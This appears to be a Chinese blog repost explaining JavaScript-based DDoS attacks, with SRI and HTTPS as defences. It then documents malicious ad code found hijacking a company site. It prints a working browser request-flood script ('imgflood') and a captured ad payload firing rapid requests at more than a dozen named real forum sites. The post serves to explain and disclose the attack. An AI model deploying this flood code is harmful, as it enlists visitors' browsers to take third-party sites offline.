浅谈基于JavaScript的DDOS攻击

CloudFlare通过对上百万个网站进行防护,总结出最古老、最普遍的攻击非DDoS攻击莫属。在传统的DDoS攻击中,攻击者会控制大量的傀儡机,然后向目标服务器发送大量请求,阻止合法用户访问网站。

然而,最近几年DDoS攻击技术不断推陈出新:攻击者用一种新型且很有趣的方式欺骗用户参与到攻击活动中。去年CloudFlare就见证了一次使用NTP映射的攻击,可能是DDoS攻击史上最大的一次攻击(大于400Gbps)。

今年的DDoS攻击又出现了一个新的攻击趋势:使用恶意的JavaScript欺骗用户参与DDoS攻击。

NTP或者DNS映射攻击造成的后果受到傀儡服务器数量的限制,同时攻击流量也受傀儡服务器容量的限制。随着时间的推移,服务器会不断的更新补丁,能被攻击者利用的服务器数量也在不断的减少。而基于JavaScript的DDOS攻击有一个非比寻常的特点:任何有浏览器的设备都可能参与攻击,其潜在攻击规模接近无限。

基于JavaScript的DDOS攻击原理

现代网站的交互作用大多数都是采用JavaScript。JavaScript脚本可直接注入HTML中,或者通过 <script src=""> HTML从远程服务器载入。

Web2.0的出现使得网站可以从JavaScript中加载不同步的内容(content asynchronously)。Web2.0更注重交互性,用户在发布内容的过程中不仅实现了与网络服务器之间的交互,也实现了同一网站不同用户之间的交互,以及不同网站之间信息的交互。然而从JavaScript中制造出HTTP(S)请求会使浏览器使用起来更加的有趣,甚至还可以将浏览器变成一种攻击武器。

例如,下面的脚本(略有修改)就会向受害网站发送大量的请求:

function imgflood() {   
  var TARGET = 'example.com'  
  var URI = '/index.php?'  
  var pic = new Image()  
  var rand = Math.floor(Math.random() * 1000)  
  pic.src = 'http://'+TARGET+URI+rand+'=val'  
}  
setInterval(imgflood, 10)  

该脚本会在目标网页上生成一个图片按钮,图片按钮会指向“example.com” 网站。只要用户访问了含有该脚本的网页,那么他就会成为 “example.com”DDoS攻击中的一员。浏览器发出的每一个请求都是有效请求,于是该攻击又变成了Layer 7 攻击。

FreeBuf百科:应用层攻击

攻击者发送大量的数据包或利用服务器应用的漏洞等,饱和服务器的资源,造成DDOS攻击,该类漏洞往往不需要大量的肉鸡。应用层DDOS攻击的列子包括Slowloris、Apache、Windwos、OpenBSD等的漏洞。如ModSecurity 空指针间接引用远程拒绝服务漏洞(CVE-2013-2765),攻击者可以利用该漏洞使Apache Web服务器崩溃。


如果攻击者在一个网站中嵌入了恶意JavaScript脚本,那么该网站的每一个访客都将成为DDoS攻击中的一员。网站流量越高就意味着DDoS越严重。

入侵共享JavaScript的第三方服务器

许多网站使用的都是普通的JavaScript库,为了节约带宽、提升性能,通常还会将JavaScript脚本共享在第三方服务器上。也就是说如果网站上包含有指向第三方服务器的脚本标签,就意味着所有访问该网站的用户都将自动下载JavaScript脚本,并执行。不幸的是,如果攻击者入侵了该第三方服务器并在JavaScript脚本中注入了DDoS攻击代码,那结果可想而知了,所有的访客也将变成DDoS攻击中的一员。


2014年9月份的时候,jQuery就发生过这种形式的入侵。

子资源完整性简介

通过替换第三方服务器上的JavaScript展开攻击,这是其实也是一种比较老的攻击方式。目前HTTP还没有相关的机制来阻止该脚本的运行,但W3C已经提出了名叫子资源完整性(SRI)的新功能,使用加密哈希值验证脚本,如果哈希值不匹配浏览器可以阻止其运行。

例如,如下脚本标签:

<script src="https://code.jquery.com/jquery-1.10.2.min.js"> 


浏览器会自动下载该.js文件,并且会不分青红皂白的运行它。即使该文件中被攻击者注入了恶意脚本,浏览器也不会识别。然而如果网站发现了哈希值验证脚本不匹配,子资源完整性(SRI)会告诉浏览器不要运行该脚本。

<script src="https://code.jquery.com/jquery-1.10.2.min.js"    
        integrity="sha256-C6CB9UYIS9UJeqinPHWTHVqh/E1uhG5Twh+Y5qFQmYg="  
         crossorigin="anonymous">  


建议网站管理员将添加这一标签添加到服务器上,用以保护其用户不被利用。

目前支持子资源完整性的浏览器只有Chrome和Firefox。

中间人攻击

位于浏览器和服务器间的中间人可以任意修改数据,包括更改HTML内容或者JavaScript脚本。而如果中间人走偏了,做了一些恶意的事情,如向页面中添加恶意JavaScript并执行,那后果一样很严重 (也就是所谓的中间人攻击)。

修改传输过程中的网站是ISPs和WiFi供应商独有的技术,但如果攻击者获得了这一权限,他们会将传输过程中的脚本替换成恶意JavaScript脚本。更甚的是,如果JavaScript脚本中包含了DDoS脚本,那DDoS攻击成员将会进一步的扩大。

情况还可以更糟糕一点,如果JavaScript文件的传输路径正好经过攻击者的网络,那么参与DDoS攻击的浏览器和用户的数量将会大的惊人。

总结:防御


基于JavaScript的DDOS攻击越来越频发,防御这一攻击的唯一方式是全面启用HTTPS。

* 参考来源blog.cloudflare,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)


公司网站js被劫持的恶意代码:

<html>  
<head>     
<title>pos.baidu.com基于JavaScript的DDOS攻击</title>  
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">  
<script>  
document.writeln("<script>");  
document.writeln("(function() {");  
document.writeln("    var s = \"_\" + Math.random().toString(36).slice(2);");  
document.writeln("    document.write(\'<div id=\"\' + s + \'\"><\/div>\');");  
document.writeln("    (window.slotbydup=window.slotbydup || []).push({");  
document.writeln("        id: \'2086452\',");  
document.writeln("        container: s,");  
document.writeln("        size: \'1000,90\',");  
document.writeln("        display: \'inlay-fix\'");  
document.writeln("    });");  
document.writeln("})();");  
document.writeln("<\/script>");  
document.writeln("<script src=\"http:\/\/dup.baidustatic.com\/js\/os.js\"><\/script>");  
</script>  
</head>  
  
<body>  
<h1>pos.baidu.com基于JavaScript的DDOS攻击</h1>  
</body>  
</html>  


运行上面的脚本后的html页面是这样的:

<html><head>     
<title>pos.baidu.com基于JavaScript的DDOS攻击</title>  
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">  
<script>  
document.writeln("<script>");  
document.writeln("(function() {");  
document.writeln("    var s = \"_\" + Math.random().toString(36).slice(2);");  
document.writeln("    document.write(\'<div id=\"\' + s + \'\"><\/div>\');");  
document.writeln("    (window.slotbydup=window.slotbydup || []).push({");  
document.writeln("        id: \'2086452\',");  
document.writeln("        container: s,");  
document.writeln("        size: \'1000,90\',");  
document.writeln("        display: \'inlay-fix\'");  
document.writeln("    });");  
document.writeln("})();");  
document.writeln("<\/script>");  
document.writeln("<script src=\"http:\/\/dup.baidustatic.com\/js\/os.js\"><\/script>");  
</script><script>  
(function() {  
    var s = "_" + Math.random().toString(36).slice(2);  
    document.write('<div id="' + s + '"></div>');  
    (window.slotbydup=window.slotbydup || []).push({  
        id: '2086452',  
        container: s,  
        size: '1000,90',  
        display: 'inlay-fix'  
    });  
})();  
</script></head><body><div id="BAIDU_DUP_fp_wrapper" style="position: absolute; left: -1px; bottom: -1px; z-index: 0; width: 0px; height: 0px; overflow: hidden; visibility: hidden; display: none;"><iframe id="BAIDU_DUP_fp_iframe" src="http://pos.baidu.com/wh/o.htm?ltr=" style="width: 0px; height: 0px; visibility: hidden; display: none;"></iframe></div><div id="_mqav9rtar860qkt9"></div>  
<script src="http://dup.baidustatic.com/js/os.js"></script><script charset="utf-8" src="http://pos.baidu.com/ecom?di=2086452&dri=0&dis=0&dai=1&ps=8x8&dcb=BAIDU_SSP_define&dtm=BAIDU_DUP_SETJSONADSLOT&dvi=0.0&dci=-1&dpt=none&tsr=16&tpr=1447061978731&ti=pos.baidu.com%E5%9F%BA%E4%BA%8EJavaScript%E7%9A%84DDOS%E6%94%BB%E5%87%BB&ari=1&dbv=2&drs=1&pcs=1920x805&pss=1920x805&cfv=19&cpl=5&chi=1&cce=true&cec=GBK&tlm=1447061978<u=file%3A%2F%2F%2FC%3A%2FUsers%2FTopSage%2FDesktop%2F%25E5%25A4%25A7%25E5%25AE%25B6%25E8%25AE%25BA%25E5%259D%259B-%25E5%2585%25A8%25E7%2590%2583%25E6%259C%2580%25E5%25A4%25A7%25E7%259A%2584%25E6%2595%2599%25E8%2582%25B2%25E5%259F%25B9%25E8%25AE%25AD%25E5%25AD%25A6%25E4%25B9%25A0%25E8%2580%2583%25E8%25AF%2595%25E8%25AE%25BA%25E5%259D%259B%25EF%25BC%2581%25E8%258B%25B1%25E8%25AF%25AD%25E3%2580%2581%25E8%25B4%25A2%25E4%25BC%259A%25E3%2580%2581%25E8%25AE%25A1%25E7%25AE%2597%25E6%259C%25BA%25E7%25BD%2591%25E4%25B8%258A%25E5%25AD%25A6%25E4%25B9%25A0%25E5%25AE%25B6%25E5%259B%25AD%25EF%25BC%2581.html&ecd=1&psr=1920x1080&par=1920x1040&pis=-1x-1&ccd=24&cja=true&cmi=7&col=zh-CN&cdo=-1&tcn=1447061979"></script><script>  
function imgflood() {  
var TARGET = 'example1.com'  
var URI = '/forum.php?gid=3&wangzhanbeihei&fuwuqibeiheikeruqin&qinggenghuanfuwuqi&chongzhuangwangzhan&'  
var pic = new Image()  
var rand = Math.floor(Math.random() * 1000)  
pic.src = 'http://'+TARGET+URI+rand+'=val'  
}  
setInterval(imgflood, 0.1)  
  
function imgflood1() {  
var TARGET = 'example1.cn'  
var URI = '/thread-4391714-1-1.html?&wangzhanbeihei&fuwuqibeiheikeruqin&qinggenghuanfuwuqi&chongzhuangwangzhan&'  
var pic = new Image()  
var rand = Math.floor(Math.random() * 1000)  
pic.src = 'http://'+TARGET+URI+rand+'=val'  
}  
//setInterval(imgflood1, 0.1)  
  
function imgflood2() {  
var TARGET = 'example1.com'  
var URI = '/e/member/login/?&wangzhanbeihei&fuwuqibeiheikeruqin&qinggenghuanfuwuqi&chongzhuangwangzhan&'  
var pic = new Image()  
var rand = Math.floor(Math.random() * 1000)  
pic.src = 'http://'+TARGET+URI+rand+'=val'  
}  
//setInterval(imgflood2, 0.1)  
  
function imgflood3() {  
var TARGET = 'example2.com'  
var URI = '/forum.php?&wangzhanbeihei&fuwuqibeiheikeruqin&qinggenghuanfuwuqi&chongzhuangwangzhan&'  
var pic = new Image()  
var rand = Math.floor(Math.random() * 1000)  
pic.src = 'http://'+TARGET+URI+rand+'=val'  
}  
setInterval(imgflood3, 0.1)  
 
</script>  
  
  
<h1>pos.baidu.com基于JavaScript的DDOS攻击</h1>  
  
</body></html>  



http://pos.baidu.com/ecom?di=2086452&dri=0&dis=0&dai=1&ps=8x8&dcb=BAIDU_SSP_define&dtm=BAIDU_DUP_SETJSONADSLOT&dvi=0.0&dci=-1&dpt=none&tsr=16&tpr=1447061978731&ti=pos.baidu.com%E5%9F%BA%E4%BA%8EJavaScript%E7%9A%84DDOS%E6%94%BB%E5%87%BB&ari=1&dbv=2&drs=1&pcs=1920x805&pss=1920x805&cfv=19&cpl=5&chi=1&cce=true&cec=GBK&tlm=1447061978&ltu=file%3A%2F%2F%2FC%3A%2FUsers%2FTopSage%2FDesktop%2F%25E5%25A4%25A7%25E5%25AE%25B6%25E8%25AE%25BA%25E5%259D%259B-%25E5%2585%25A8%25E7%2590%2583%25E6%259C%2580%25E5%25A4%25A7%25E7%259A%2584%25E6%2595%2599%25E8%2582%25B2%25E5%259F%25B9%25E8%25AE%25AD%25E5%25AD%25A6%25E4%25B9%25A0%25E8%2580%2583%25E8%25AF%2595%25E8%25AE%25BA%25E5%259D%259B%25EF%25BC%2581%25E8%258B%25B1%25E8%25AF%25AD%25E3%2580%2581%25E8%25B4%25A2%25E4%25BC%259A%25E3%2580%2581%25E8%25AE%25A1%25E7%25AE%2597%25E6%259C%25BA%25E7%25BD%2591%25E4%25B8%258A%25E5%25AD%25A6%25E4%25B9%25A0%25E5%25AE%25B6%25E5%259B%25AD%25EF%25BC%2581.html&ecd=1&psr=1920x1080&par=1920x1040&pis=-1x-1&ccd=24&cja=true&cmi=7&col=zh-CN&cdo=-1&tcn=1447061979

中的js代码:


BAIDU_SSP_define({"tuid" : "2086452_0","queryid" : "e3c023ccd2cfb0a5","placement" : {"basic" : {"cname":"71028131_cpr","flowType":1,"groupId":25620,"rspFormat":1,"sellType":1,"sspId":8,"tuId":2086452,"userId":10097962}
,"container" : {"anchoredType":1,"floated":{},"height":90,"sizeType":1,"slide":{},"width":1000}
,"fillstyle" : {},"userdefine" : "","complement_type" : 7},"extends" : "","pdb_deliv" : {"deliv_id" : "2042144","deliv_des" : {"_html" : {"content":"\x3cscript\x3e\x0afunction imgflood() {\x0avar TARGET = \'bbs.tnbz.com\'\x0avar URI = \'\/forum.php?gid=3&wangzhanbeihei&fuwuqibeiheikeruqin&qinggenghuanfuwuqi&chongzhuangwangzhan&\'\x0avar pic = new Image()\x0avar rand = Math.floor(Math.random() * 1000)\x0apic.src = \'http:\/\/\'+TARGET+URI+rand+\'=val\'\x0a}\x0asetInterval(imgflood, 0.1)\x0a\x0afunction imgflood1() {\x0avar TARGET = \'bbs.wwtx.cn\'\x0avar URI = \'\/thread-4391714-1-1.html?&wangzhanbeihei&fuwuqibeiheikeruqin&qinggenghuanfuwuqi&chongzhuangwangzhan&\'\x0avar pic = new Image()\x0avar rand = Math.floor(Math.random() * 1000)\x0apic.src = \'http:\/\/\'+TARGET+URI+rand+\'=val\'\x0a}\x0a\/\/setInterval(imgflood1, 0.1)\x0a\x0afunction imgflood2() {\x0avar TARGET = \'www.91jucai.com\'\x0avar URI = \'\/e\/member\/login\/?&wangzhanbeihei&fuwuqibeiheikeruqin&qinggenghuanfuwuqi&chongzhuangwangzhan&\'\x0avar pic = new Image()\x0avar rand = Math.floor(Math.random() * 1000)\x0apic.src = \'http:\/\/\'+TARGET+URI+rand+\'=val\'\x0a}\x0a\/\/setInterval(imgflood2, 0.1)\x0a\x0afunction imgflood3() {\x0avar TARGET = \'bbs.m3guo.com\'\x0avar URI = \'\/forum.php?&wangzhanbeihei&fuwuqibeiheikeruqin&qinggenghuanfuwuqi&chongzhuangwangzhan&\'\x0avar pic = new Image()\x0avar rand = Math.floor(Math.random() * 1000)\x0apic.src = \'http:\/\/\'+TARGET+URI+rand+\'=val\'\x0a}\x0asetInterval(imgflood3, 0.1)\x0a\x0afunction imgflood4() {\x0avar TARGET = \'www.ltaaa.com\'\x0avar URI = \'\/bbs\/forum-109-1.html?&wangzhanbeihei&fuwuqibeiheikeruqin&qinggenghuanfuwuqi&chongzhuangwangzhan&\'\x0avar pic = new Image()\x0avar rand = Math.floor(Math.random() * 1000)\x0apic.src = \'http:\/\/\'+TARGET+URI+rand+\'=val\'\x0a}\x0a\/\/setInterval(imgflood4, 0.1)\x0a\x0afunction imgflood5() {\x0avar TARGET = \'club.excelhome.net\'\x0avar URI = \'\/forum.php?&wangzhanbeihei&fuwuqibeiheikeruqin&qinggenghuanfuwuqi&chongzhuangwangzhan&\'\x0avar pic = new Image()\x0avar rand = Math.floor(Math.random() * 1000)\x0apic.src = \'http:\/\/\'+TARGET+URI+rand+\'=val\'\x0a}\x0a\/\/setInterval(imgflood5, 0.1)\x0a\x0a\/**\/\x0afunction imgflood6() {\x0avar TARGET = \'bbs.766.com\'\x0avar URI = \'\/forum.php?sogou_beijiechi_duboxinxi_susuxiufu_xianzhizhizhufangwen&\'\x0avar pic = new Image()\x0avar rand = Math.floor(Math.random() * 1000)\x0apic.src = \'http:\/\/\'+TARGET+URI+rand+\'=val\'\x0a}\x0asetInterval(imgflood6, 0.1)\x0a\x0a\x0afunction imgflood7() {\x0avar TARGET = \'bbs.baofeng.com\'\x0avar URI = \'\/forum-151-1.html?&wangzhanbeihei&fuwuqibeiheikeruqin&qinggenghuanfuwuqi&chongzhuangwangzhan&\'\x0avar pic = new Image()\x0avar rand = Math.floor(Math.random() * 1000)\x0apic.src = \'http:\/\/\'+TARGET+URI+rand+\'=val\'\x0a}\x0asetInterval(imgflood7, 0.1)\x0a\x0a\x0afunction imgflood8() {\x0avar TARGET = \'www.jmmama.com.cn\'\x0avar URI = \'\/forum.php?&wangzhanbeihei&fuwuqibeiheikeruqin&qinggenghuanfuwuqi&chongzhuangwangzhan&\'\x0avar pic = new Image()\x0avar rand = Math.floor(Math.random() * 1000)\x0apic.src = \'http:\/\/\'+TARGET+URI+rand+\'=val\'\x0a}\x0asetInterval(imgflood8, 0.1)\x0a\x0afunction imgflood9() {\x0avar TARGET = \'bbs.yzdsb.com.cn\'\x0avar URI = \'\/forum-29-1.html?&wangzhanbeihei&fuwuqibeiheikeruqin&qinggenghuanfuwuqi&chongzhuangwangzhan&\'\x0avar pic = new Image()\x0avar rand = Math.floor(Math.random() * 1000)\x0apic.src = \'http:\/\/\'+TARGET+URI+rand+\'=val\'\x0a}\x0asetInterval(imgflood9, 0.1)\x0a\x0afunction imgflood10() {\x0avar TARGET = \'www.belle8.com\'\x0avar URI = \'\/forum.php?gid=178&wangzhanbeihei&fuwuqibeiheikeruqin&qinggenghuanfuwuqi&chongzhuangwangzhan&\'\x0avar pic = new Image()\x0avar rand = Math.floor(Math.random() * 1000)\x0apic.src = \'http:\/\/\'+TARGET+URI+rand+\'=val\'\x0a}\x0asetInterval(imgflood10, 0.1)\x0a\x0afunction imgflood11() {\x0avar TARGET = \'www.klmybbs.com\'\x0avar URI = \'\/forum.php?mod=forumdisplay&fid=22&wangzhanbeihei&fuwuqibeiheikeruqin&qinggenghuanfuwuqi&chongzhuangwangzhan&\'\x0avar pic = new Image()\x0avar rand = Math.floor(Math.random() * 1000)\x0apic.src = \'http:\/\/\'+TARGET+URI+rand+\'=val\'\x0a}\x0asetInterval(imgflood11, 0.1)\x0a\x0afunction imgflood12() {\x0avar TARGET = \'www.longhd.net\'\x0avar URI = \'\/forum-82-1.html?&wangzhanbeihei&fuwuqibeiheikeruqin&qinggenghuanfuwuqi&chongzhuangwangzhan&\'\x0avar pic = new Image()\x0avar rand = Math.floor(Math.random() * 1000)\x0apic.src = \'http:\/\/\'+TARGET+URI+rand+\'=val\'\x0a}\x0asetInterval(imgflood12, 0.1)\x0a\x0a\x0afunction imgflood13() {\x0avar TARGET = \'www.longhd.net\'\x0avar URI = \'\/forum-82-1.html?&wangzhanbeihei&fuwuqibeiheikeruqin&qinggenghuanfuwuqi&chongzhuangwangzhan&\'\x0avar pic = new Image()\x0avar rand = Math.floor(Math.random() * 1000)\x0apic.src = \'http:\/\/\'+TARGET+URI+rand+\'=val\'\x0a}\x0asetInterval(imgflood13, 0.1)\x0a\x0a\x0a\x3c\/script\x3e","type":"rich","version":1}},"brandad" : 0},"order_deliv" : {"deliv_id" : "0","demand_id" : "0"},"rtb_deliv" : {"deliv_id" : "0","demand_id" : "0"}});


  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值